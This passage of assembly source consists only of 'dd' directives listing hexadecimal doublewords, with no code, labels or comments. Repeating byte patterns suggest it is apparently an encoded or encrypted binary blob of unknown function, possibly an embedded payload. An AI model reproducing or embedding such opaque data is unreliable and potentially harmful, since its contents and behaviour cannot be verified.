44521566h, 1FCEF3E7h, 558F9607h dd 4435F148h, 22759069h, 0A9521566h, 0A4EC473Dh, 0A5B79E07h dd 4235F166h, 11309269h, 28821566h, 44269369h, 2DDB1566h dd 4A321566h, 557A60CDh, 4698B669h, 6F927612h, 40536426h dd 77CDEADFh, 1DFD3C99h, 22359569h, 9E3D1566h, 88321567h dd 0E0B72E93h, 2D35FE9Eh, 113244E3h, 93BA1A66h, 4B321566h dd 223200ECh, 1122FC66h, 46101566h, 0E96EF3D3h, 0D0B9500Fh dd 88DD6CC8h, 0DB9D464h, 43D60F5Fh, 2BDB4306h, 0CF321566h dd 2850692Eh, 0C442CE74h, 223AFD39h, 0B81C1566h, 6727DA5Fh dd 256BCFE3h, 1377FAE1h, 20CF2489h, 0D09E989h, 43D9EDCEh dd 22049069h, 9ACB1566h, 6C26F0E3h, 14C77561h, 78FDA269h dd 0EE8F4007h, 0A1CDEA99h, 4B524889h, 223210EFh, 0F8B37366h dd 3548DFEh, 0C13D749Fh, 2232156Eh, 11309469h, 0E9521566h dd 0BC82905Dh, 0A73D128Dh, 113215E0h, 66B3E906h, 55BD5D15h dd 0FF8F9607h, 1135F148h, 88429069h, 49DB1566h, 0C9321566h dd 0B8D5EB6Fh, 0DF1E2FF6h, 78F18869h, 2239FC06h, 711B1566h dd 2079864Eh, 85DF4940h, 223EFCB1h, 56CB1566h, 0FC8A569Eh dd 74348DA7h, 0A953879Ch, 0F5292CE3h, 8820FC61h, 680A1566h dd 35A550ABh, 0CDF2F54Eh, 8D632177h, 0A6BBE0FDh, 2233AE35h dd 0CE331566h, 0EE52EC3Dh, 379AE3E7h, 0F1CAAB06h, 943D3C27h dd 88321566h, 0C1097407h, 25D9EDCAh, 11679069h, 87521566h dd 443216E7h, 0F8B97366h, 0ED532DD7h, 0A6EFA8E5h, 4B321282h dd 22322FE3h, 10B21A66h, 70321566h, 62BF90EDh, 74521282h dd 11329069h, 0E96A1566h, 44339F69h, 72CB1566h, 113214DEh dd 0D0F51466h, 443E9E69h, 98521566h, 6D5D7023h, 8CEB9400h dd 7FCE7441h, 0C9CAA1E3h, 53B71A61h, 87321566h, 44321DE3h dd 20BA1A66h, 71321566h, 0DB9E907h, 43D6305Bh, 34F69506h dd 1138FC06h, 229C1566h, 0DD691589h, 18BF8F00h, 70C1AA69h dd 0A4B14207h, 246DEA42h, 22349769h, 9E3D1566h, 88321566h dd 0FCB72E07h, 2D35FE9Eh, 11326EE3h, 883BFC66h, 81F11566h dd 78269C59h, 9A2E380Dh, 6C1E0CE3h, 49DB7561h, 24321566h dd 9DA0EF56h, 55912DACh, 0BE4CA58Eh, 2232068Eh, 0CAB93966h dd 0E5E1878Dh, 3574076Bh, 0F197CBDh, 45A5D9BAh, 0E96DDBEDh dd 4432048Fh, 8BBE1266h, 61A71AB9h, 3DA1C79Ch, 71C0456Fh dd 99617AC6h, 11321567h, 6169CA67h, 44321572h, 0AC00CC42h dd 0B325D44Bh, 965F5FC7h, 0DACFF7ACh, 0E8FCA44Eh, 0E98E905Dh dd 0D3D128Dh, 44321502h, 22321E8Fh, 0CD79E266h, 58F50654h dd 5A7E6AD5h, 82F90EDh, 963D1282h, 8832157Ah, 443AFC06h dd 7B281566h, 0AF5CC3C8h, 80DB0B61h, 79321566h, 3539C25Ch dd 70A1361Ah, 77CDAF34h, 931BEA99h, 3FB61A3Ch, 1E321566h dd 883202EFh, 4420FC66h, 0B4961566h, 0AEECF08Ah, 0F9C40h dd 8D146A6Bh, 4707EC73h, 0E9F2905Dh, 0D3D128Dh, 44321575h dd 83B79E9Ah, 0E835F173h, 778C439Ah, 6DCDEA99h, 19CE4B91h dd 0FACAD1E3h, 0D6B71A61h, 0AD321566h, 2232156Ah, 0CFCD4BA5h dd 0E5451A37h, 3948F7AFh, 73790EDh, 17DB1282h, 0FC321566h dd 22C59E6Eh, 6A8F403Eh, 5C50C644h, 9709D0E7h, 0A9B36F0Bh dd 767059CDh, 0FCB35023h, 0CFE1BEh, 4B6FFA67h, 22320DE5h dd 1121FC66h, 26C61566h, 0FEA49FADh, 70613D46h, 0A19FD8C2h dd 4A72FDEBh, 8CB72E31h, 2D35FE9Eh, 113223E3h, 8834FC66h dd 9A9C1566h, 0F4C9D854h, 38390EDh, 80DB1282h, 4B321566h dd 2A8C9C3Fh, 44690FC3h, 883214DBh, 19DD1466h, 22321F8Fh dd 0D2E2E266h, 34BFA927h, 7F46BD3Fh, 0C9CAD9E3h, 40B71A61h dd 61321566h, 4432156Fh, 0F8893D3Eh, 0E314101h, 883DFC55h dd 0E2CF1566h, 7210C86Bh, 0E2AE2633h, 0E0A90706h, 0F5B79E99h dd 0DB35F164h, 6BA0AD36h, 50C57E6Ah, 1C3FC591h, 0F1E4C00h dd 0BB0667Ah, 1562E243h, 0BB7E1011h, 0E533BE00h, 77CA753Eh dd 0E90CC0DFh, 0BCE2905Dh, 0A73D128Dh, 11321523h, 8832068Fh dd 0F7982F66h, 9CEAF45Fh, 836E08AFh, 0F3660A68h, 0C03A522Fh dd 2ADB90EDh, 933D1282h, 88321571h, 44239069h, 2EDB1566h dd 66321566h, 49AB6913h, 6B4192ADh, 73794D4Bh, 113214DFh dd 0D1FD1466h, 0CDB72E9Fh, 2D35F147h, 113241E3h, 3F3D7566h dd 443DFCB8h, 2DAC1566h, 7486413Ch, 0BB9CD903h, 0DD837849h dd 0AD3D748Ah, 1132156Ch, 8832108Fh, 0BAA13866h, 0A7B9992Fh dd 16D60A27h, 88321C8Fh, 0CF6A7866h, 29B7C341h, 0AF64D38Bh dd 77CDEA99h, 4B6CE24Fh, 22321DE1h, 13B21A66h, 0E8321566h dd 90B72E07h, 2D35FE9Eh, 11324DE3h, 8FB31A66h, 4B321566h dd 223214E8h, 94B9EC66h, 8FD6370Fh, 44321E8Fh, 24E6CF66h dd 1AAAB952h, 0F7D61E70h, 0A67AE35h, 0A3790E61h, 0B5479ADh dd 63B35E0Eh, 3F2D7B1Ch, 2D69CA67h, 113214E2h, 0EE52ED66h dd 8758D7E7h, 22321E8Fh, 71038066h, 80B75C6h, 0BD3888F2h dd 32B72E07h, 1E35FE9Fh, 883272E3h, 443DFC66h, 35101566h dd 0E977D16Bh, 0F9E84017h, 7065CE61h, 3A8F96A9h, 1135FE9Fh dd 881A9069h, 0C7CE1566h, 0C610B8DBh, 953D1561h, 8832155Eh dd 57B61A93h, 0CB321566h, 11321568h, 0F8B18DD2h, 9AAF951Eh dd 0E3F6DC81h, 94B9ADAEh, 8FD638A7h, 1B60429Eh, 0F5B5573Ch dd 11321E8Fh, 5248D466h, 0C993BAE6h, 0CD727E29h, 0E826905Dh dd 0D3D128Dh, 4432150Dh, 20B61A06h, 9A321566h, 4FB373B1h dd 0C7534ADEh, 0C9CB0DDBh, 943D1561h, 88321556h, 0B7851A06h dd 22B01A36h, 4F321566h, 258F9607h, 4435F144h, 22079169h dd 0DB1566h, 88321566h, 0C2C90868h, 0A9CF0471h, 9962A2Ch dd 0AA3DC347h, 5F7F90EDh, 71C71282h, 1F6C7BDDh, 9E1E234h dd 2180E8Dh, 55C19429h, 106CBE11h, 0B3CB4EB9h, 0AFCACDE3h dd 18B71A61h, 1E321566h, 88321DE0h, 46B01A66h, 42321566h dd 0C0B79E07h, 8735F178h, 443214EDh, 9A62E066h, 5D1804A4h dd 80DAD426h, 3910CB63h, 91201030h, 0D633BC50h, 66B3753Eh dd 7049C5A1h, 0FEB72E07h, 1E35FE9Eh, 88323DE3h, 0C1B9ED66h dd 25D600DFh, 6A8A459Fh, 0C046EE72h, 324D5C6Bh, 0A737550Fh dd 10B015E6h, 8EDB4DA1h, 0E4321566h, 9C6121ADh, 0F1B72E74h dd 8735FE9Eh, 443254E3h, 0A7B9E066h, 16D63447h, 883A9E69h dd 0C23D1566h, 22321564h, 0A8637406h, 0BA2C0C32h, 21DB942Fh dd 0D5459E44h, 0E1F394B7h, 89888790h, 4BDB4CA9h, 0B7321566h dd 6CFC6FBBh, 0D254CC66h dd 1202793h, 0A70950C0h, 16D9ED82h, 88709069h, 0C13D1566h dd 22321569h, 11321F8Fh, 0CC5D5066h, 0E7C43D0Bh, 0A9C52025h dd 0F53774E3h, 80B31A61h, 4B321566h, 223217E9h, 0E4537566h dd 8836F9E7h, 78BB1566h, 636EA42h, 1134FC39h, 0BE471566h dd 0CF2BDD9Eh, 0DADA905Dh, 943D128Dh, 8832155Dh, 47B41A06h dd 44321566h, 9C3DC2EDh, 88321564h, 0CF534B35h, 0C61198E3h dd 9052ED61h, 0A634B584h, 1BFD940Bh, 4339D7A2h, 66DAAF34h dd 7AB32A4Bh, 84E09D71h, 4268C24Fh, 2A53E7EDh, 63CAF9E3h dd 0FB71A61h, 0CB321566h, 11321568h, 29FE33BEh, 54998D2Ah dd 1938D2BBh, 94B9DC29h, 8FD63A1Fh, 44339F69h, 75C71566h dd 0EE1639E7h, 0D7CDEA99h, 44239169h, 0A23D1566h, 1132156Dh dd 8832138Fh, 15F1F566h, 4294DF1Ch, 4A684230h, 2CD39400h dd 0BB3974AFh, 22199169h, 46521566h, 36A7406h, 45DB74AEh dd 2DCDEA8Bh, 11320DECh, 8821FC66h, 2F361566h, 214032C1h dd 9E634B7Bh, 29753DC2h, 4AA20853h, 0A3B72E0Bh, 1E35F169h dd 883255E3h, 51B31A66h, 0CB321566h, 11321576h, 0C523922Fh dd 7353CC1h, 889317DFh, 0C5DA046Eh, 0DA5E90EBh, 50DB128Dh dd 61321566h, 594E1B17h, 0E243D23Ch, 5D042126h, 0B032E51Fh dd 0F89ACECCh, 77CDF9FEh, 0FDB72E9Eh, 2D35F143h, 113291E3h dd 883BFC66h, 147C1566h, 822E0627h, 923A336Ah, 63CA2DDBh dd 0C13D1461h, 2232150Fh, 11321A8Fh, 8E666966h, 73B56AD2h dd 0C7E3A6Ah, 4FF47D1Ah, 835590EBh, 50DB153Fh, 4B321566h dd 7D99F191h, 0E24CB5B8h, 7133C081h, 85B3201Bh, 0E92FEC0Bh dd 77DE228Fh, 52B01A99h, 0CB321566h, 11321577h, 11D2C27Fh dd 3157D1CBh, 5DE07B84h, 0DEE9CA73h, 883DFCC1h, 0E6341566h dd 1249281Ch, 0CC8C913Fh, 2BF7FAB3h, 0CB72EBEh, 2D35FE9Eh dd 113246E2h, 9ADB7566h, 0A1321566h, 0CB27EC53h, 8D5F25C9h dd 54B55B83h, 0F8349948h, 223FFD8Eh, 84B81566h, 5079762Bh dd 20EDCD1Eh, 0CADDFF47h, 11321569h, 0D9C953CAh, 0C7C26784h dd 82FBFE2Eh, 4FDDDAD5h, 0D097438h, 43D9ED2Ah, 22119069h dd 71CB1566h, 0E9E59E00h, 0BBD9B68Fh, 2221FC99h, 75F41566h dd 623164F8h, 7C41DBFh, 358498B8h, 63339D27h, 888D420Bh dd 13321566h, 0F11621E7h, 4F63CA30h, 0DEE1E3E7h, 0B86D44B9h dd 2D33EBE5h, 113337E3h, 8820FC66h, 79971566h, 420EEAEAh dd 7B9EABA3h, 2D81C39Bh, 2FDABBB5h, 0DA0E905Dh, 943D128Dh dd 88321524h, 443AFC06h, 0CB851566h, 3BCE9A5Fh, 23DD250h dd 44321573h, 2232058Fh, 64BA6066h, 182371h, 0EE30EDC6h dd 0EFCDF68Dh, 94BF7480h, 886A92A2h, 0C554ED06h, 4376E6AFh dd 0EED91E8Fh, 3547599h, 0C10974BFh, 25D9ED26h, 115A9069h dd 87521566h, 443210E2h, 0FBB37366h, 0A63D7555h, 0DBF74B4h dd 446A9D5Ch, 222E9469h, 9F3D1566h, 88321570h, 4432048Fh dd 9B8B0D66h, 3211D98Eh, 96FD494Eh, 3F7BE2D2h, 9FDB9B0Ah dd 71CDEA8Ch, 0D3537530h, 4432078Fh, 0AE2C0266h, 0E73B1F0h dd 0FB8788C7h, 0BB77B0B3h, 437EDC99h, 113A9569h, 87521566h dd 443215EEh, 0A7097466h, 16D9ED22h, 880F9069h, 0C9CA1566h dd 7ABA6AE3h, 113CFC66h, 1A651566h, 0BA1F5881h, 7A90045h dd 0E3D0C4BFh, 77D8728Fh, 56DB7599h, 1F321566h, 5BD4AE22h dd 0F5A277EAh, 0DC342544h, 0C1571773h, 0D9B373B7h, 0DD5309DAh dd 0ACBBD0EFh, 0A31639EDh, 113211A2h, 0EECB7566h, 0F01AC3E7h dd 0DA8A4507h, 0E6736D11h, 8D075DBEh, 0CD8C92EEh, 6369EA0h dd 1136D1E7h, 3D1566h, 44321567h, 2DC41E9Eh, 113202E3h dd 57DBED66h, 0ADCDEA8Fh, 2232156Dh, 336C293Bh, 0E2F47935h dd 0BC5653B9h, 6069E36h, 0F836D1E5h, 8832156Ah, 6D920A9Ch dd 0FA5AFB3Ch, 43BC4409h, 0AB7FA0EFh, 0CA3D1282h, 22321567h dd 10879C9Fh, 0E835F148h, 44329B69h, 0A2531566h, 943DFC58h dd 8832158Fh, 6E59406h, 2D2683CFh, 113217EBh, 0E9D5A066h dd 4436F9E7h, 36BB1566h, 1133AF42h, 7A331566h, 24682FEDh dd 0A03DC4ECh, 11321566h, 2CDD9407h, 0C5772052h, 0BD4BBF89h dd 90C51410h, 174BBFA1h, 0E0F59410h, 42772052h, 70C79CD2h dd 0DFC59C31h, 0FA524A3Dh, 54CB0349h, 0F853D6EDh, 8832156Fh dd 1FBECC50h, 5C708A53h, 0DA8C43F2h, 9774E74h, 626D0B90h dd 25DCD40Ch, 3724FBE7h, 66B32724h, 8A2E81E3h, 16B9E667h dd 15F69442h, 61321566h, 44321577h, 32B38142h, 0CED67EB5h dd 0B9A3F476h, 8F694FC2h, 6F8F2E47h, 1E35F145h, 883202E4h dd 0AAB27566h, 50EC9532h, 1EC92E07h, 88323DE0h, 45B01A66h dd 0DA321566h, 0EEDAD08Fh, 8752ED99h, 0AC63C7D1h, 22321568h dd 215D244Ch, 0DE59E0CBh, 81837474h, 7C6D5713h, 0F88F9E07h dd 8735F17Dh, 443204EFh, 223EFC66h, 3D531566h, 20E7C902h dd 53DA0F66h, 0A7F5D355h, 16D60003h, 88321566h, 42B81A06h dd 2D321566h, 113215E3h, 71527466h, 84F99506h, 22319D69h dd 9A541566h, 3DBB74BCh, 43D63B67h, 2232078Fh, 4700E466h dd 0CED6B16Dh, 79266F05h, 0DEE51083h, 1ED01234h, 883214EFh dd 0D9BFED66h, 25DE696Fh, 11339569h, 77CB1566h, 0AD8D75B5h dd 447565B7h, 0D42AE3E7h, 87F21E07h, 443209E2h, 2223FC66h dd 136C1566h, 1612B546h, 0E78AFD73h, 0D6AD823Bh, 0F8E9A39Fh dd 883215DCh, 64AF989Eh, 2D35FCD3h, 113207EFh, 84B41A66h dd 0AD321566h, 22321561h, 0B91EB084h, 77627017h, 33B11AB5h dd 0CBCDEA99h, 11321576h, 0D2C3200Bh, 71139C0h, 69712CD3h dd 6BDA129Eh, 0A633A0EDh, 4B521282h, 223216EFh, 0DEB97366h dd 97288D8h, 0F1BB747Ch, 25D60003h, 10BD1A93h, 74321566h dd 8D0A88EBh, 0AA3D128Ch, 11321561h, 61B37306h, 0AD535FCEh dd 22321574h, 0D0019D75h, 84B49BBBh, 475C002Ah, 728B845Fh dd 0C2CD52A4h, 8832018Fh, 26377B66h, 3E7F51A9h, 0CB756EFCh dd 156C242Dh, 7AED073Ah, 0AD3D7551h, 11321560h, 88329769h dd 0C23D1566h, 22321567h, 94B9749Eh, 8FD6362Bh, 44369E69h dd 0DA521566h, 94BB7493h, 8FD63B67h, 4ADB749Ah, 31321566h dd 0AC0D0CB2h, 0B9BE1A86h, 940950BFh, 0CA0C95E1h, 11C49069h dd 3D1566h, 4432156Fh, 0E8B37306h, 4E65A68Ch, 0E98F9607h dd 4435F164h, 22E89169h, 71521566h, 0AF5AAB00h, 45213BD8h dd 9A54742Ah, 1E53331Dh, 883216E3h, 25CA7566h, 44CAA635h dd 0E7EE9D36h, 0EED19DBAh, 0DF1953Eh, 0AA8AE6E6h, 1E524EBEh dd 0F3DEBD9h, 44321563h, 70DBBFDFh, 0F898741Eh, 8832156Dh dd 0A7629573h, 1AE897B4h, 0E85BE6B5h, 88349E0Eh, 600E9C66h dd 0DABBE2EFh, 1137FC39h, 57001566h, 41D05178h, 297F692Dh dd 0A863ED4Fh, 0BA4214DBh, 1FF5FCE7h, 0CBF304B5h, 9EF39460h dd 7F682208h, 0B5B35CB7h, 8C3977F5h, 0E46BDD4Fh, 848A4535h dd 7176A923h, 668E506Eh, 386AD6EFh, 8524EBEh, 0FB5465BFh dd 8953548Fh, 1132078Fh, 0DBFBA966h, 9916261Bh, 1A216815h dd 0D647894h, 0E8315AF3h, 0C5547AD6h, 43A46DB7h, 1130978Fh dd 42B97566h, 256CE935h, 40A288EBh, 7752128Ah, 0F619C6E7h dd 4432068Eh, 6D371866h, 9DD33095h, 0CCA47925h, 0A88F86FCh dd 0E927C63Ch, 1132198Fh, 17D86466h, 4D1F9387h, 65F8B09Eh dd 1E534FD5h, 883219E5h dd 42B81A66h, 2D321566h, 113215ECh, 0E8E1EA66h, 4432048Fh dd 0AE26BE66h, 2A27D6E2h, 285A13E6h, 0D886787Eh, 0A3543DC4h dd 706C86AEh, 0FECA88EBh, 0B8C7128Ah, 4252C699h, 0F7A8E5DCh dd 83537444h, 59B71AA6h, 42321566h, 0F853C5EDh, 8832155Dh dd 44321A8Fh, 7801FE66h, 6FE985D6h, 7FC0BF95h, 0B485D1A1h dd 0C3390E5h, 1E371282h, 88321DEEh, 46B61A66h, 42321566h dd 0EF75FC07h, 80DBEA99h, 0DC321566h, 0E0DAEABEh, 9C402E09h dd 644ACFFBh, 2252ED61h, 28CDFDE7h, 1132108Eh, 1D8EFC66h dd 0A38B1089h, 7D7F4CFEh, 71E1EA07h, 88319969h, 0CF541566h dd 43C29EA4h, 943DD56Dh, 88321554h, 5DB01A93h, 0CB321566h dd 11321572h, 88CB13A5h, 0A4FD163h, 7B1AEE9h, 920ABF97h dd 0F5458AB6h, 44325F8Fh, 24BD1A66h, 71321566h, 4FC6AC00h dd 1465EC07h, 45030DDEh, 7CD01862h, 82377584h, 0CDA90DE4h dd 0D8334DA1h, 90547539h, 0EE73B4B1h, 250127DFh, 2233338Fh dd 1122FC66h, 363B1566h, 0AAA361EEh, 67117B93h, 0B8F88A0Bh dd 5CEAFDBh, 0AD8735FBh, 2DDA7561h, 9A321566h, 665D1ABFh dd 0E9915D4Dh, 0B9E862D0h, 49C7E136h, 88319E69h, 0F33D1566h dd 0F1CD74BEh, 11059669h, 9CDB1566h, 8A321566h, 4FDCCCDEh dd 10C6725Ch, 27723E40h, 5CC8E387h, 0A9F3DFC1h, 0F51C14D3h dd 89B01A61h, 0BC321566h, 221E358Fh, 913D7566h, 88321564h dd 99B8EFEDh, 23BF9E07h, 1E35F148h, 883211E5h, 1F867566h dd 23879C07h, 0E935F148h, 88339869h, 0C5CB1566h, 463010A7h dd 0A3DB9412h, 0A1005259h, 0F6F39497h, 0A3005259h, 7530108Fh dd 0B537512h, 95C5EAA7h, 2239FD06h, 4471566h, 824D94FBh dd 8A756A5h, 0E3B9734Ah, 0EAF5943Dh, 0E967F11Ah, 6C4BAD36h dd 0C2F35447h, 3733065h, 0EE17252Ah, 4114E14Dh, 5F9D6E85h dd 0B32BB653h, 0D0F4140Bh, 0AAB3DB4Fh, 323F72E6h, 0F896E69Fh dd 88321568h, 902FC49Ch, 1A9CB6D5h, 76C1A421h, 1ADB1CF1h dd 24CDEA9Ah, 42C5FAE6h, 9A54E1ECh, 55374AEh, 0AEF975FBh dd 2239FC61h, 0C7931566h, 59946E9h, 18EBB327h, 2DE1EA68h dd 113203E6h, 98B71A66h, 0AD321566h, 2232156Dh, 0DA95EA5Bh dd 0A810189Bh, 2C4AA0E6h, 223252F3h, 901629EFh, 0F2FC3152h dd 716A6560h, 52346FA8h, 11259F69h, 9ADB1566h, 2E321566h dd 664FBF42h, 0EEEDCC1Dh, 656FA48Fh, 71962FBEh, 0CBB73EC4h dd 7135F17Dh, 8832018Fh, 78786366h, 5719047Bh, 0B985F9AEh dd 29F63CB4h, 0A52F59F2h, 0FD8C7372h, 94BB749Eh, 8FD60CB7h dd 0ADB79E93h, 0CB35F17Dh, 11321563h, 7AD8C7DDh, 1EC57D51h dd 1EBB1566h, 113DFC42h, 2EF21566h, 0E13C4D4Ch, 257F6466h dd 0F668FD81h, 92277D63h, 40BB1566h, 2CBE1A42h, 71321566h dd 88329869h, 0C13D1566h, 22321566h, 0C2BF9807h, 0E835FFABh dd 44369269h, 99541566h, 0CAB35099h, 91700FB6h, 4BE3EA07h dd 223212E5h, 10BA1A66h, 7D321566h, 5F6F90EDh, 0A83D1282h dd 1132157Fh, 8832018Fh, 0C3EC2866h, 6C4848CAh, 53A164E8h dd 4006178Ch, 5ED7A5D3h, 0C1BB467Dh, 1136D6E7h, 63B11566h dd 602E9262h, 6369C3Ah, 0AA547593h, 9ADB32CBh, 17321566h dd 552ABF37h, 0E8FBE79Ah, 94BA4397h, 879CC961h, 8D5A7461h dd 9832157Dh, 83D315Ah, 4432156Ah, 2232128Fh, 0F20CE666h dd 0DC20AE46h, 5FDB90EDh, 77CE1282h, 0D4B3F0EFh, 88321562h dd 4436F8E7h, 0EB51566h, 15BB4942h, 33547542h, 0B28BE0D5h dd 43151B4Bh, 0DE2798EBh, 77CA128Ch, 0CD61E0B7h, 0A9E89CA5h dd 0D5B1317Ah, 9AB61A62h, 24321566h, 2238FC9Ah, 0C84E1566h dd 0E475B8BCh, 9709ABDCh, 2EB94507h, 15F69642h, 88321B8Fh dd 5A388566h, 78D49E6Fh, 0F7007413h, 0A3A42E75h, 0A02948EBh dd 28BA1A61h, 0F8321566h, 88321563h, 7B71D8ECh, 878F9641h dd 1135F147h, 88E69169h, 0C03D1566h, 2232156Ch, 0C0F49406h dd 35BBEFDh, 0C1B974B8h, 25D6081Fh, 112F9169h, 60521566h dd 44321576h, 987A49F5h, 3AB8EB04h, 96F0A4B2h, 91B55897h dd 0CBB37339h, 3A53860Bh, 6C13B0E3h, 4439FC61h, 0D3D01566h dd 0FBEEB68Fh, 5853B6BAh, 4BF32E6Bh, 223268E0h, 10B81A66h dd 74321566h, 58AF90EDh, 0AD3D1282h, 11321574h, 8832188Fh dd 0D3D11666h, 6C3EDDF3h, 161A71EEh, 6152D03Eh, 4432156Eh dd 5F8B815Ah, 0AAEDA0F7h, 694409DCh, 0C131741Fh, 25D634C3h dd 0B0B79C9Ah, 6135F144h, 4432156Bh, 442ECC80h, 97BA8501h dd 77D4C3B0h, 57B11AF0h, 2D321566h, 113218EEh, 883AFC66h dd 830D1566h, 7BACA93Ah, 0C0DBA28Ch, 87321567h, 443214ECh dd 0AB60ED66h, 15F09484h, 9321566h, 4432118Ch, 6269266h dd 353E9C3Ah, 8832138Fh, 46B6F866h, 708D26D8h, 9060DFEFh dd 0B5403152h, 716A14EAh, 23BE2814h, 1CB51A3Ch, 0E8321566h dd 44329E69h, 6D8B1566h, 70163972h, 77CDAB30h, 0B433EA99h dd 0A9547538h, 0CE851A96h, 8CDE9407h, 0CD321566h, 0EA8C3152h dd 0D00C2F48h, 7EB31680h, 0BB82842h, 7C88E3E7h, 0DFB365B4h dd 8A4F0771h, 82B3CB91h, 0ECCF32B8h, 0F86CE56Fh, 8832156Fh dd 327C87FAh, 0DD7593CDh, 0EE8C4327h, 0A1CDEA99h, 4B524B96h dd 0AB53DCD1h, 0F52F6CE3h, 8822FC61h, 60311566h, 97B81D0Bh dd 0C430309Ch, 0F0B87858h, 0C1331F9Ch, 25D634F7h, 0B4B7D29Ah dd 8835F147h, 24321566h, 2DC8AA69h, 113217E6h, 0E9FD9E66h dd 2452550Ch, 9A544E31h, 1E539D45h, 6153DAD9h, 44321575h dd 95119558h, 800409EFh, 958A97DEh, 51A29F13h, 4A570C2Ch dd 11320566h, 8820FC9Fh, 242A1566h, 5AF8D9A7h, 0D16DA7DCh dd 6FB8D7C3h, 0F67440D3h, 2235650Eh, 353E9C66h, 88339169h dd 2EC71566h, 0B7CDE966h, 16D60C17h, 8821FC06h, 0B1EF1566h dd 0B9AF827Dh, 6E8F194Bh, 0AD930270h, 0D2F53C01h, 24BF1A1Bh dd 1E321566h, 883215EDh, 0D1CD7466h, 25D60DCBh, 8CB79C9Ah dd 6135F17Ah, 4432156Ah, 3878EA3h, 778E116Fh, 1909F1E1h dd 669390EFh, 0A03D1282h, 11321569h, 88321F8Fh, 86A0D66h dd 2B6F2087h, 9AC2B42Eh, 165316Ah, 40F59481h, 0A3321566h dd 113211A1h, 0AC0E9266h, 443DFC3Ah, 93001566h, 0BD7C5D96h dd 451D063Ch, 559E8EF0h, 0A2657542h, 47688D90h, 0E96B4A34h dd 6693A099h, 0DDCE1282h, 0F52948D3h, 83B71A61h, 0AD321566h dd 22321560h, 1959A243h, 165E32Eh, 40F59481h, 0A1321566h dd 2DB51189h, 0B4BB4942h, 4426FC42h, 15301566h, 37B8EE47h dd 1C52B0C8h, 459022DBh, 0D3AE2CA2h, 0EECE4EE5h, 6C29FCD3h dd 43B51A61h, 2D321566h, 113214EDh, 0EE52E066h, 4CB4F4E7h dd 0AF53E1ECh, 0FBD502E3h, 3F3D7561h, 97851AB1h, 42E2EA07h dd 1053DFEDh, 6C13B0EBh, 0FB3D7561h, 118C739Dh, 0ACB9742Eh dd 8FD637C7h, 86851A06h, 43C5AA69h, 0A6FA0EDh, 0C3D1282h dd 44321567h, 2D96E69Fh, 113214E1h, 3CBE966h, 0A02AFCD3h dd 2234FC61h, 0FE761566h, 5DE4A29Ch, 165AECCBh, 0AB321550h dd 0BC5A316Ah, 0D17C7C72h, 66DAE4E7h, 0CBF32A3Eh, 0D9C39465h dd 13C3340h, 0BD6BE928h, 4237D5A7h, 0E9AAB00h, 8832068Fh dd 9AAA3C66h, 8EB98A12h, 269639C7h, 34770565h, 3C627AB7h dd 728F4007h, 0E66F963Eh, 0C5EFE2B3h, 0DCBE0E7h, 0CA3364BFh dd 901639EDh, 883211A2h dd 443BFC66h, 48F71566h, 0B0A3643Ah, 8BC72C39h, 0A027C8E3h dd 0AFB9ED61h, 16D637C7h, 88321D8Fh, 98C60166h, 91CDFCE3h dd 1188471Ah, 89321566h, 0CF389CA4h, 0E6B13172h, 1ECA7562h dd 883210E1h, 9AE7AD66h, 8F53509Ah, 4A604206h, 8839FC3Eh dd 0E7DA1566h, 4C2CBCEBh, 7B587650h, 356774CDh, 645A6801h dd 4DBBAC37h, 0C0C552C3h, 0E8EBF4E7h, 0A5F31F67h, 0E5FB9464h dd 90556B02h, 61D54B97h, 0B87C9CDEh, 0DE5C143Fh, 10B01A3Bh dd 7D321566h, 0AD879C93h, 4235F17Eh, 11339B69h, 0E9CA1566h dd 44321C8Fh, 901FAC66h, 0E5EA12CEh, 70B1A096h, 0D6B71A99h dd 0DE321566h, 0CCEF2BE7h, 0D3DC8BBh, 443215E3h, 22249369h dd 1E521566h, 883215E1h, 443BFC66h, 3DA21566h, 0F4003380h dd 0E9D4AFE2h, 443DA50Eh, 62E9C66h, 113215DDh, 0D32C9C66h dd 44169269h, 0CB521566h, 11321569h, 2DA1D702h, 0A80F5015h dd 22F617BCh, 0F8543140h, 8832156Fh, 2E721528h, 19D5252Fh dd 0AA61742Ch, 88321562h, 6AF1D3E7h, 0FC336002h, 3FF1FBE7h dd 7D696002h, 5CDBA0EFh, 2ADB1282h, 0FA321566h, 0A36726Ch dd 0AD509D6Ah, 0DDCDC720h, 12F2D49Fh, 88321C8Fh, 4AB0866h dd 2DDE752Bh, 9431F9BEh, 8FD600BBh, 0DCF29406h, 0A223FD75h dd 0F853EC97h, 88321560h, 4A3DE774h, 9FB10854h, 16D60927h dd 3AB61A67h, 0B8321565h, 88982BE7h, 943DBFCCh, 883215B2h dd 443F9569h, 2ADB1566h, 18321566h, 82DC9910h, 0C59E3A0Ah dd 2232118Ah, 35369C66h, 883211DEh, 1CF41466h, 22249F69h dd 0DB1566h, 0CA321566h, 2BB84F2Bh, 2F420B55h, 3715CE11h dd 0BEFFDA87h, 124FAD36h, 0F2C5573Eh, 474CAB30h, 7833573Eh dd 0B8749C38h, 2222FC3Eh, 7ED11566h, 14A2CE14h, 702B0D8h dd 0FB120456h, 9A3DDB20h, 8832156Eh, 44309F69h, 43521566h dd 0D603ED57h, 3752ED57h, 2FAD2627h, 0E268A507h, 115A1186h dd 0A0321566h, 40B83162h, 26F69642h, 3DB624Ah, 0DC321566h dd 20E257D7h, 6A3CD096h, 204DDB6Ah, 713E3C4Ch, 0CE3D75B8h dd 22321563h, 58DB9400h, 88857566h, 94E4C2DFh, 0CB537471h dd 1132155Ah, 88339E69h, 0BDC71566h, 0A96A4236h, 0D5B1315Ah dd 8EB01A62h, 24321566h, 0ECB94B31h, 0A682E907h, 3E60D598h dd 1EC235ABh, 0CB527552h, 11321560h, 4AB63885h, 0C5545B95h dd 43D1EB94h, 14D29C36h, 88321562h, 4432114Bh, 6369266h dd 35369C3Ah, 258F9693h, 4535F144h, 234C9169h, 1CDB1566h dd 58321566h, 0E5B0561Ch, 0AEB82C4Ch, 798CFC44h, 8833150Eh dd 60369E66h, 4236D1E5h, 11339C69h, 87CA1566h, 0C753D2D9h dd 0C9CA41DBh, 953D1561h, 88321527h, 4432058Fh, 0BA5CFD66h dd 22C7F08Bh, 200E12DAh, 50B2AC87h, 9CAF98A5h, 0E435FF9Ch dd 88219169h, 0AC521566h, 22321563h, 0B8AFB88Eh, 93D4FA8h dd 44321566h, 42E1EA07h, 4027CFE6h, 0D7FDAA69h, 0D40D9507h dd 226E9169h, 3DB1566h, 54321566h, 0F76682AAh, 6B9DED45h dd 0E851CE25h, 0D1BDA91Dh, 40DE946Fh, 0AB321566h, 148B316Ah dd 89321566h, 42DB4CA9h, 